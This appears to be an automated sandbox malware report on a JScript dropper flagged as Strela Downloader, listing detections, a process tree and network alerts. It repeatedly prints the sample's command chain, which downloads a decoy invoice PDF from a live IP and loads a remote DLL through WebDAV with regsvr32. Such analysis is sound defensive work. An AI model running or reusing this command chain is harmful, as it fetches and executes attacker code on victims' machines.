Edit tour

Windows Analysis Report
16112188701857928577.js

Overview

General Information

Sample name:	16112188701857928577.js
Analysis ID:	1588037
MD5:	8f61413250640d203988ece7861302ed
SHA1:	58f539693583767583546fa0c953b26bd7103a27
SHA256:	740cd8df413bf3f6792b9688dec07fd64d30d744dab3dd77833474afe865c2fe
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4872 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6188 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6932 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7736 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1764,i,7619880427840652941,12373114566744920719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7524 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7612 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7820 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4872	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6932, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6932, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ProcessId: 4872, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7612, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ProcessId: 4872, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6188, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6932, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7524, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7612, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7820, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7524, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7612, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16112188701857928577.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4872, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 6188, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:48:12.665379+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:48:10.295049+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16112188701857928577.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16112188701857928577.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:48:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 